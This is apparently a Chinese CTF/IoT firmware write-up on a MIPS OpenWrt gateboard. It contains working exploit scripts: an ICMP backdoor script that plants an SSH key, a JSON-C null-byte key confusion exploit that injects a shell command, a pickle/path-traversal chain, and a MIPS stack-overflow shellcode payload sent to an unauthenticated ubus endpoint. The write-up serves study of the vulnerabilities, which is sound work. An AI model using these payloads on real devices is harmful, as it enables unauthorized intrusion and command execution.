对比nf_hook_ops结构体的成员定义可知:hooknum == 1 表示hook NF_IP_LOCAL_IN 阶段也就是数据包经过路由判决确定是发给本地的包后。pf == 2表示NFPROTO_IPV4 IPv4协议(IP)。重点hook函数为:
int __fastcall hook(int a1, int a2)
{
int result; // $v0
int head; // $v1
char *icmp_data; // $s0
char *v5; // $v0
char *v6; // $a0
int v7; // $a1
int v8; // $v1
head = *(_DWORD *)(a2 + 0xA0);
if ( *(_BYTE *)(head + *(unsigned __int16 *)(a2 + 0x94) + 9) == 1 )// head + *(unsigned __int16 *)(a2 + 0x94) == ip_header; +9 means protocol
{
icmp_data = (char *)(head + *(unsigned __int16 *)(a2 + 0x92) + 8);// head + *(unsigned __int16 *)(a2 + 0x92) == transport_header; + 8 means icmp`s data area
v5 = &icmp_data[strlen(icmp_data)];
v6 = icmp_data;
v7 = 0;
while ( v5 != v6 )
{
v8 = *v6++;
if ( (unsigned int)(v8 - 0x20) >= 95 ) // unprintable char
v7 = -1;
}
if ( !v7 )
7(icmp_data);
result = 1;
}
return result;
}
会处理ICMP报文的数据部分,如果全部都是可见字符进入7(icmp_data)
,需要注意的是函数始终返回1(NF_ACCEPT)也就是说其他ICMP报文正常走完协议栈:
int __fastcall 7(char *a1)
{
char *in; // $s1
int v3; // $v0
_BYTE *out; // $s5
int v6; // $v0
unsigned __int8 *v7; // $s2
unsigned int i; // $s0
int v9; // $v0
char key[12]; // [sp+10h] [-10h] BYREF
in = (char *)kmem_cache_alloc(kmalloc_caches[10], 0xCC0);
strcpy(key, "X1Hu-2O23");
if ( in )
{
v3 = strlen(a1);
memset(in, 0, v3 + 1);
base64Decode(a1, in);
if ( strlen(in) )
{
out = (_BYTE *)kmem_cache_alloc(kmalloc_caches[10], 3264);
if ( out )
{
v7 = (unsigned __int8 *)kmem_cache_alloc(kmalloc_caches[10], 3264);
v6 = strlen(in);
8(in, v6, (int)key, 9);
for ( i = 0; i < strlen(in); ++i )
sprintf(&v7[i], "%c", in[i]);
v9 = strlen(v7);
Base64Encode(v7, out, v9);
strcpy(a1, out);
kfree(in);
kfree(out);
kfree(v7);
}
}
}
return _stack_chk_guard;
}
base64Decode,Base64Encode和main程序的base64_decode都是使用的同一个异变Table,函数8是rc4加密(对称加密),秘钥为X1Hu-2O23(rc4这个不是很懂)。总的来说这个内核模块会对8字节后全是可见字符data的ICMP报文进行base64解密,rc4,base64加密。结合main程序又进行一次base64解密,需要将@targetMac和@localRSApub放入ICMP报文,以X1Hu-2O23为key进行rc4加密,然后base64加密 后发送给目标主机。
在main程序中绕过前面的checksum和icmp_id检查我觉得存在逻辑问题。首先获取icmp报文中的checksum然后会和icmp_data部分的xorsum进行比较(getXor),那么icmp报文中的checksum字段是一定要构造的而且不能代表整个报文真实的checksum(header+data):
Checksum
The checksum is the 16-bit ones's complement of the one's
complement sum of the ICMP message starting with the ICMP Type.
For computing the checksum , the checksum field should be zero.
This checksum may be replaced in the future.
----From rfc792
官方WP上是用和程序中计算data数据getXor函数一样的算法计算出来一个值,并且放入icmp_header中的checksum字段:
def calc_sum(data):
sum = 0
for ch in range(len(data)):
sum^=ord(data[ch])
...
checksum = calc_sum(data)
docmd = "python2.7 sendPacket.py %s %s %s"%(ip_addr,str(checksum),encrypt_data)
def icmp_send(dest_addr,pkt_checksum,payload):
icmp = socket.getprotobyname("icmp")
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, icmp)
except socket.error, (errno, msg):
if errno == 1:
msg = msg + "This program must be run with root privileges."
raise socket.error(msg)
raise
pkt_id = 0xDEAD
dest_addr = socket.gethostbyname(dest_addr)
pkt_checksum = int(pkt_checksum)
# Make a dummy heder with a fake checksum.
header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, pkt_checksum, pkt_id, 1)
我觉得这样会导致发送出去的数据包直接被对方协议栈过滤(猜的,没看过协议栈相关源码),进入设备shell手动启main程序并且使用官方脚本发现设备毫无反应:
这个情况还好说,因为icmp_header的sequence字段可控且main和内核模块不检查,那么可以构造该字段实现 0 <= getXor(icmp_data) == checksum(icmp) <= 0x80
。那么构造icmp为:
import socket, struct, array
import string, base64
from Crypto.Cipher import ARC4
BASETABLE = 'Gw6Y/H7PxrieDoRSE58h0fcp1jtlbdON9zKVA2g3+aTCy4XmIBuZUsWJnkMqFLQv'
def base64Encode(b_in: bytes) -> bytes:
retStr = ''
count = 0
for i in range(0, len(b_in), 3):
if count+3 <= len(b_in):
tmp = ((b_in[i]) << 8*2) | ((b_in[i+1]) << 8) | (b_in[i+2]) #13896738
idx0 = tmp >> 18 #53
idx1 = (tmp >> 12) & 0b0111111 #0
idx2 = (tmp >> 6) & 0b0111111 #48
idx3 = tmp & 0b0111111 #34
retStr += BASETABLE[idx0]
retStr += BASETABLE[idx1]
retStr += BASETABLE[idx2]
retStr += BASETABLE[idx3]
count += 3
if count != len(b_in):
left = len(b_in) - count
tmp = 0
if left == 1:
tmp = (b_in[count]) << 16
else :
tmp = (b_in[count]) << 16 | ((b_in[count + 1]) << 8)
idx0 = tmp >> 18
idx1 = (tmp >> 12) & 0b0111111
idx2 = (tmp >> 6) & 0b0111111
idx3 = tmp & 0b0111111
retStr += BASETABLE[idx0]
retStr += BASETABLE[idx1]
if idx2 != 0:
retStr += BASETABLE[idx2]
else:
retStr += '='
if idx3 != 0:
retStr += BASETABLE[idx3]
else:
retStr += '='
return retStr.encode()
def base64Decode(b_in) -> bytes:
if isinstance(b_in, bytes):
b_in = b_in.decode()
retStr = b''
b_in = b_in.rstrip('=')
left = len(b_in) % 4
# for i in range(0, len(b_in), 4):
for i in range(len(b_in) // 4):
tmp = BASETABLE.index((b_in[i*4])) << 6*3 | BASETABLE.index((b_in[i*4+1])) << 6*2 | BASETABLE.index((b_in[i*4+2])) << 6 | BASETABLE.index(b_in[i*4+3]) #13896738
idx0 = tmp >> 8*2 #212
idx1 = (tmp >> 8) & 0b011111111 #12
idx2 = tmp & 0b011111111 #34
retStr += struct.pack(b'<BBB', idx0, idx1, idx2)
tmp = 0
if left == 3:
tmp = BASETABLE.index((b_in[-3])) << 6*3 | BASETABLE.index((b_in[-2])) << 6*2 | BASETABLE.index((b_in[-1])) << 6*1
elif left == 2:
tmp = BASETABLE.index((b_in[-2])) << 6*3 | BASETABLE.index((b_in[-1])) << 6*2
elif left == 1:
tmp = BASETABLE.index((b_in[-1])) << 6*3
idx0 = tmp >> 8*2
idx1 = (tmp >> 8) & 0b011111111
idx2 = tmp & 0b011111111
retStr += struct.pack(b'<BBB', idx0, idx1, idx2)
retStr = retStr.rstrip(b'\x00')
return retStr
def packData(d_in:bytes, key:bytes = b'X1Hu-2O23'):
arc4 = ARC4.new(key)
t = arc4.encrypt(d_in)
retData = base64Encode(t)
return retData
def unpackData(d_in:bytes, key:bytes = b'X1Hu-2O23'):
retData = base64Decode(d_in)
arc4 = ARC4.new(key)
return arc4.decrypt(retData)
def chesksum(data):
n = len(data)
m = n % 2
sum = 0
for i in range(0, n - m, 2):
sum += (data[i]) + ((data[i + 1]) << 8)
sum = (sum >> 16) + (sum & 0xffff)
if m:
sum += (data[-1])
sum = (sum >> 16) + (sum & 0xffff)
answer = ~sum & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def xorChecksum(data: bytes) -> int:
ret = 0
for i in data:
ret ^= i
return ret
def find_sum(data):
data_Xorsum = xorChecksum(data)
data = packData(data, b'X1Hu-2O23')
data_Xorsum = ((data_Xorsum & 0xff) << 8) | (data_Xorsum >> 8)
for i in range(256):
for j in range(256):
icmp_data = b'\x08\x00\x00\x00\xad\xde' + i.to_bytes(1,'big') + j.to_bytes(1,'big') + data
tmp_sum = chesksum(icmp_data)
if data_Xorsum == tmp_sum:
print(hex(i),hex(j),hex(data_Xorsum))
return (i << 8) | j, data_Xorsum
def icmp_send():
icmp_data = b'00:00:00:00:00:1b@'
icmp_data += b'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDbqytls41JAN2qY7MgqF05rML8zDXYA6CWdT0S3q17l9jXqzITbPv3sCMGUcsZNNkWnxl6MtDTqpu0pIBpZblbsjKC8rbtFV6RbpNDfaJ8esNck4++YdkpG67cHQnvoNkJOFLNfjuuCVtYEo8g3mAb6KCyG9rfa22lHTl+gj99Lw=='
seq, checksum = find_sum(icmp_data)
icmp_header = struct.pack('>BBHHH', 8, 0, checksum, 0xadde, seq)
icmp_data_pack = packData(icmp_data, b'X1Hu-2O23')
icmp_payload = icmp_header + icmp_data_pack
print(base64Encode(icmp_data))
print(icmp_data_pack,'\n', unpackData(icmp_data_pack))
raw_sfd = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.getprotobyname("icmp"))
raw_sfd.sendto(icmp_payload, ('192.168.1.1', 0))
if __name__ == '__main__':
icmp_send()
有个小问题就是上传的秘钥不能太长,否则会出现截断问题。可以使用ssh-keygen生成一个1024bit的就行了,或者截开多打几次:
题目对应了一个包含前后端的系统,前端用python实现了登录、注册等功能,后端用C++实现了upload_file和查看/tmp目录下某个文件。前端中的权限校验函数auth_check
存在反序列化漏洞。其中session_id没有做限制且用户可控。
def auth_check(self, session_id):
try:
if not os.path.exists("/tmp/session/" + session_id):
return False
f = open("/tmp/session/" + session_id, "rb")
_session = pickle.loads(f.read())
f.close()
current_time = int(time.time())
if current_time - _session.login_time > _session.lease:
return False
return _session.role
except:
return False
后端c++实现,在逆向的时候基本一半猜一半逆(目前C++水平太拉了),不过基本的逻辑能理清。核心是解析前端发送的json数据包然后根据role和bk_code的值调用对应处理函数。guest用户有两种情况bk_code == 0x70 or 0x23。对应函数readfile(0041A050)和uploadfile(0041A050)。
其中readfile会打开tmp下的一个文件,该文件名称由用户随意指定没有做限制存在目录穿越。
uploadfile实现文件上传同样没有对用户指定的文件名做限制,因此结合前端的漏洞实现反序列化漏洞。
对于admin用户可以调用sub_419BAC
直接命令注入:
官方wp提供了三种解题思路,前面通过guest漏洞比较直接。而对于admin通过python和json-c对unicode数据解析不一致绕过,例如构造{"r":"123","r\u0000":"456"}
的json包对于python json strict=False来说该json结构中分别存在r
和r\u000
两个key。但是如果json-c这样构造就会导致只存在一个key即r
,这好像是因为json-c的作者沿用c中string标准截断判别,即null截断,这个问题在github上是该项目中讨论最多的但还是open状态(快10年了):
(学到了,学到了)
用在题目中就是,构造如下数据:
backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id
经过服务器前端转发变成:
{"session_id": "THeoEcUFBmUmXQJXJDxPBNzZFlhVFBZk", "func": 18, "f": 32, "d": "touch /haked_by_npc", "r": "guest", "r\u0000": "admin"}
然后后端调用json_tokener_parse
解析该json包,理所当然的变成r:admin
,后端并没有继续解析session_id。
import socket, json
HEADER = 'NOVA' + '0001' + '0102'
def login(name: str, pwd: str, sfd: socket.socket):
js_data = {'func': 1, 'usr':name, 'pwd':pwd}
payload = HEADER + json.dumps(js_data)
sfd.sendall(payload.encode())
return json.loads(sfd.recv(1024).decode())
def logout(sessionID: str, sfd: socket.socket):
js_data = {'func': 0x10, 'session_id': sessionID}
payload = HEADER + json.dumps(js_data)
sfd.sendall(payload.encode())
return json.loads(sfd.recv(1024).decode())
def register(name: str, pwd: str, sfd: socket.socket):
js_data = {'func': 0x11, 'usr':name, 'pwd':pwd}
payload = HEADER + json.dumps(js_data)
sfd.sendall(payload.encode())
return json.loads(sfd.recv(1024).decode())
def backhend(js_data, sfd: socket.socket):
payload = HEADER + json.dumps(js_data)
print(payload)
sfd.sendall(payload.encode())
return json.loads(sfd.recv(1024).decode())
def delete(sessionID: str, name: str, sfd: socket.socket):
js_data = {'func': 0x13, 'session_id':sessionID, 'usr':name}
payload = HEADER + json.dumps(js_data)
sfd.sendall(payload.encode())
return json.loads(sfd.recv(1024).decode())
def main():
sfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sfd.connect(('192.168.1.1', 12345))
except Exception as e:
print(e)
exit(-1)
bk_json = {'session_id':session_id, 'func':18, 'f': 0x23,'o': '../dev/ttyUSB0'}
session_id = login('guest', 'guest', sfd)['data']['session_id']
print(backhend(bk_json, sfd))
def method3():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.1', 12345))
login_guest = 'NOVA00010102{"usr":"guest","pwd":"guest","func":1}'
s.sendall(login_guest.encode())
res = s.recv(1024)
res_status = json.loads(res).get("result")
guest_session_id = json.loads(res).get("data").get("session_id")
if (res_status != "1") or (len(guest_session_id) != 32):
print("method2 guest login failed")
exit(0)
backend1 = 'NOVA00010102{"session_id":"%s","func":18,"f":32,"d":"touch /hacked_by_npc","r":"admin","r\u0000":"admin"}' % guest_session_id
s.sendall(backend1.encode())
res = s.recv(1024)
print(res)
if __name__ == '__main__':
method3()
同样无法直接连串口但是和固件二不同的是,串口只会打印出一部分日志,然后就完全没有了:
在解决这个固件问题前需要了解FIT镜像。FIT是一种结构(.itb),类似于设备树(Device Tree Blob, dtb. 很多嵌入式设备不能主动的发现该设备所拥的硬件,所以在dbt使用之前都需要以硬编码的方式告诉内核外设信息。dtb使用之后一个内核配合不同的设备树信息就可以在多个设备上运行)。只不过FIT存放各个二进制文件的信息如kernel、initramfs、dbt等,这样就可以把它们放在一个image中。然后u-boot读取FIT信息来加载一个嵌入式linux系统。使用dumpimage查看:
$ dumpimage -l ./hatlab_gateboard-one-kernel.itb
FIT description: MIPS OpenWrt FIT (Flattened Image Tree)
Created: Sat Mar 18 18:12:12 2023
Image 0 (kernel-1)
Description: MIPS OpenWrt Linux-5.4.215
Created: Sat Mar 18 18:12:12 2023
Type: Kernel Image
Compression: gzip compressed
Data Size: 3451794 Bytes = 3370.89 KiB = 3.29 MiB
Architecture: MIPS
OS: Linux
Load Address: 0x81001000
Entry Point: 0x81001000
Hash algo: crc32
Hash value: 54d3f87d
Hash algo: sha1
Hash value: a2e35b5ec3727408a9af951dee2768db8b42bd93
Image 1 (initrd-1)
Description: MIPS OpenWrt hatlab_gateboard-one initrd
Created: Sat Mar 18 18:12:12 2023
Type: RAMDisk Image
Compression: uncompressed
Data Size: 1715634 Bytes = 1675.42 KiB = 1.64 MiB
Architecture: MIPS
OS: Linux
Load Address: unavailable
Entry Point: unavailable
Hash algo: crc32
Hash value: 6773429c
Hash algo: sha1
Hash value: 0a6ea4a7463ddc1acb38398c4524e5795f783297
Image 2 (fdt-1)
Description: MIPS OpenWrt hatlab_gateboard-one device tree blob
Created: Sat Mar 18 18:12:12 2023
Type: Flat Device Tree
Compression: uncompressed
Data Size: 13146 Bytes = 12.84 KiB = 0.01 MiB
Architecture: MIPS
Hash algo: crc32
Hash value: e4c6bb68
Hash algo: sha1
Hash value: d911fad6cfe9877d80ea5601e006905afb2ed4d7
Default Configuration: 'config-1'
Configuration 0 (config-1)
Description: OpenWrt hatlab_gateboard-one
Kernel: kernel-1
Init Ramdisk: initrd-1
FDT: fdt-1
FIT中的设备树信息(Device Tree Blob)可以使用Tree Compiler (DTC)工具编译Device Tree Source (DTS)文件获得,并且这种编译是没有信息缺损的也就是说如果使用DTC编译获得DTB,那么可以反编译获得完全一致的源文件(DTS),而DTS才是我们要看的:
#compile
$ dtc -I dts -O dtb juno.dts > juno.dtb
#decompile
$ dtc -I dtb -O dts juno.dtb > juno.dts
$ dumpimage -T flat_dt -p 2 -o dtb.bin ./hatlab_gateboard-one-kernel.itb
Extracted:
Image 2 (fdt-1)
Description: MIPS OpenWrt hatlab_gateboard-one device tree blob
Created: Sat Mar 18 18:12:12 2023
Type: Flat Device Tree
Compression: uncompressed
Data Size: 13146 Bytes = 12.84 KiB = 0.01 MiB
Architecture: MIPS
Hash algo: crc32
Hash value: e4c6bb68
Hash algo: sha1
Hash value: d911fad6cfe9877d80ea5601e006905afb2ed4d7
$ dtc -I dtb -O dts dtb.bin > 3.dts
<stdout>: Warning (unit_address_vs_reg): Node /palmbus@1E000000/spi@b00/spi-nor@0/partitions@0 has a unit name, but no reg property
<stdout>: Warning (unit_address_vs_reg): Node /ethernet@1e100000/mdio-bus/switch@1f/ports has a reg or ranges property, but no unit name
获得DTS文件后对3,1固件的DTS diff发现(参考2021西湖论剑IOT的wp):
把3号固件的DTS的uartlite@c00->status改为"okay"或者删除,然后重编译:
$ dtc -I dts -O dtb 3.dts > 3.dtb
把itb镜像中的kernel、initrd都剥离出来后,需要按照dumpimage -l ./hatlab_gateboard-one-kernel.itb
获得的格式编写一个 Image Tree Source(.its)
文件,类似于Device Tree Source:
/dts-v1/;
/ {
description = "MIPS OpenWrt FIT (Flattened Image Tree)";
#address-cells = <1>;
images {
kernel-1 {
description = "MIPS OpenWrt Linux-5.4.215";
data = /incbin/("./kernel.bin");
type = "kernel";
arch = "MIPS";
os = "linux";
compression = "gzip";
load = <0x81001000>;
entry = <0x81001000>;
hash@1 {
algo = "crc32";
};
hash@2 {
algo = "sha1";
};
};
initrd-1 {
description = "MIPS OpenWrt hatlab_gateboard-one initrd";
data = /incbin/("./initrd.bin");
type = "ramdisk";
arch = "MIPS";
os = "linux";
compression = "none";
hash@1 {
algo = "crc32";
};
hash@2 {
algo = "sha1";
};
};
fdt-1 {
description = "MIPS OpenWrt hatlab_gateboard-one device tree blob";
data = /incbin/("./3.dtb");
type = "flat_dt";
arch = "MIPS";
compression = "none";
hash@1 {
algo = "crc32";
};
hash@2 {
algo = "sha1";
};
};
};
configurations {
default = "config-1";
config-1 {
description = "OpenWrt hatlab_gateboard-one";
kernel = "kernel-1";
ramdisk = "initrd-1";
fdt = "fdt-1";
};
};
};
然后制作itb文件:
mkimage -f 3.its hatlab_gateboard-one-kernel_new.itb
效果如下:
dsd使用openwrt的ubus总线子系统注册了一个server object:
ubus架构简图如下:
主要有三部分组成:
• ubusd:守护进程,充当server和client间的broker
• server object:通常是软件提供的接口,通过在ubusd中注册方法的形式提供给client使用
• client object:调用者,这种调用方式就是Remote Procedure Call (RPC),和upnp的服务调用很相似。
本来ubus上面提供的服务是用于进程间交互的,但是uhttpd的uhttpd-mod-ubus
插件允许通过http协议调用ubus上的方法(Remote Procedure Call (RPC))。默认情况下使用POST方法依照jsonrpc v2.0格式访问/ubus
完成远程调用。但是如此调用时需要经过Access Control List(ACL,即访问控制列表),这个由守护进程rpcd完成。/usr/share/rpcd/acl.d/*.json
描述了所有的访问规则。如:
{
"unauthenticated": {
"description": "Access controls for unauthenticated requests",
"read": {
"ubus": {
"session": [ "access", "login" ]
}
}
}
}
上图session是一个,其中包括了很多方法如:"create","list","login"等后面的是调用对应方法需要的参数。dsd的访问规则为:
// root@OpenWrt:~# cat /usr/share/rpcd/acl.d/luci-app-dsd.json
{
"unauthenticated": {
"description": "ubus access control",
"read": {
"ubus": {
"dsd": [
"job"
]
}
}
}
}
unauthenticated和ubus_rpc_session="00000000000000000000000000000000"其只能访问unauthenticated组下面的方法而其他组需要session中的login方法获取登录获取ubus_rpc_session才能访问,也就是说dsd提供的job方法可以在未授权的情况下通过uhttpd的/ubus访问:
root@OpenWrt:~# ubus -v list dsd
'dsd' @03db63db
"job":{"id":"Integer","msg":"String"}
通过POST调用需要构造data数据为:
{ "jsonrpc": "2.0",
"id": <unique-id-to-identify-request>,
"method": "call",
"params": [
<ubus_rpc_session>, <ubus_object>, <ubus_method>,
{ <ubus_arguments> }
]
}
通过对比openwrt提供的ubus服务端例程openwrt-ubus-api/ubus/examples/server.c at master · KerwinKoo/openwrt-ubus-api · GitHub不难得出:
int __fastcall job(void *ctx, void *obj, void *req, char *method, void *msg)
{
int v5; // $s0
int v6; // $v0
char *v8; // [sp+20h] [+20h]
char v9[4]; // [sp+24h] [+24h] BYREF
_DWORD *v10; // [sp+28h] [+28h]
char v11[28]; // [sp+2Ch] [+2Ch] BYREF
strcpy(v11, "%s received a message: %s");
v8 = "(unknown)";
v5 = sub_400AA0((int)msg);
v6 = sub_400B1C(msg);
blobmsg_parse(&off_4016FC, 2, v9, v5, v6);
if ( v10 )
v8 = (char *)blobmsg_data(v10);
blob_buf_init(&dword_4120E8, 0);
sub_401024(v8);
sub_400D20((int)&dword_4120E8, (int)"status", 0);
sub_400DD0((int)&dword_4120E8, (int)&dword_4016F8, (int)v8);
ubus_send_reply(ctx, req, dword_4120E8);
return 0;
}
为核心用户数据处理函数,其中sub_401024->sub_400F80->strncpy可控,导致溢出漏洞。其实sub_401024也能溢出(memcpy)但是其函数返回方式是 jr $ra
,不方便控制所以在sub_400F80中利用。
程序开了NX保护,但只是stack上的。从/proc/pid/maps
里面看其堆空间是可执行的:
需要注意的是payload不可以包含null字符,否则解析时会被截断。因此利用思路为:payload中填充不带null的shellcode,覆盖$ra指向shellcode。这是因为系统只开启了栈地址随机化。
import requests, struct
from pwn import *
URL = 'http://192.168.1.1/ubus'
'''
LOAD:00400EE4 addiu $v0, $fp, 0x260+var_244
LOAD:00400EE8 move $a0, $v0 # cmd
LOAD:00400EEC jal system
LOAD:00401010 lw $ra, 0x1020+var_s4($sp)
LOAD:00401014 lw $fp, 0x1020+var_s0($sp)
LOAD:00401018 addiu $sp, 0x1028
LOAD:0040101C jr $ra
'''
headers = {"Accept": "*/*", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",
"Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/json"}
command = ";ls > /tmp/flag;"
shellcode = asm("addiu $sp, -0x1217", arch='mips', os='linux', bits=32)
shellcode += asm("jal 0x004018E0", arch='mips', os='linux', bits=32)
shellcode += asm("addiu $a0, $sp, 0x1201", arch='mips', os='linux', bits=32) #cant be 'nop' becuase of null
shellcode = shellcode.ljust(4104 - len(command), b'A').decode('latin-1')
shellcode += command
shellcode_Addr = 0x413058
rawBody = "{\"jsonrpc\":\"2.0\",\"id\":\"0\",\"method\":\"call\",\"params\":[\"00000000000000000000000000000000\",\"dsd\",\"job\",{\"msg\":\"*##*" + struct.pack('>HH', 4104 + 9 + 3, 4104 + 3).decode('latin-1') + "*##*" + shellcode + "\x58\x30\x41" "\"}]\r\n}"
# print(rawBody)
resp = requests.post(url=URL,headers=headers, data=rawBody, timeout=3)
print(resp.text)
• 【技术分享】IoT固件分析入门 - 网安 (wangan.com):IDA patch mips无法保存
• ghidra_SavePatch/SavePatch.py at master · schlafwandler/ghidra_SavePatch (github.com):ghidra脚本
• MIPS Application Specific Extensions (ASE) - Imagination:mips拓展指令集
• Handlers (embedthis.com):appweb官方文档
• Appweb 学习笔记 - V4ler1an
• (59条消息) 网络编程——原始套接字实现原理_使用原始套接字在网络层进行数据传输_企鹅快跑的博客-CSDN博客
• 网络骇客初级之原始套接字(SOCK_RAW)_Czyy的技术博客_51CTO博客
• Linux内核源码之Netfilter框架 - 知乎 (zhihu.com)
• struct sk_buff结构体详解_51CTO博客_sk_buff结构体
• Decoding of string with null-byte. · Issue #108 · json-c/json-c (github.com)
• Device Tree (dtb) - postmarketOS
• Flattened uImage Tree (FIT) Images (gibbard.me)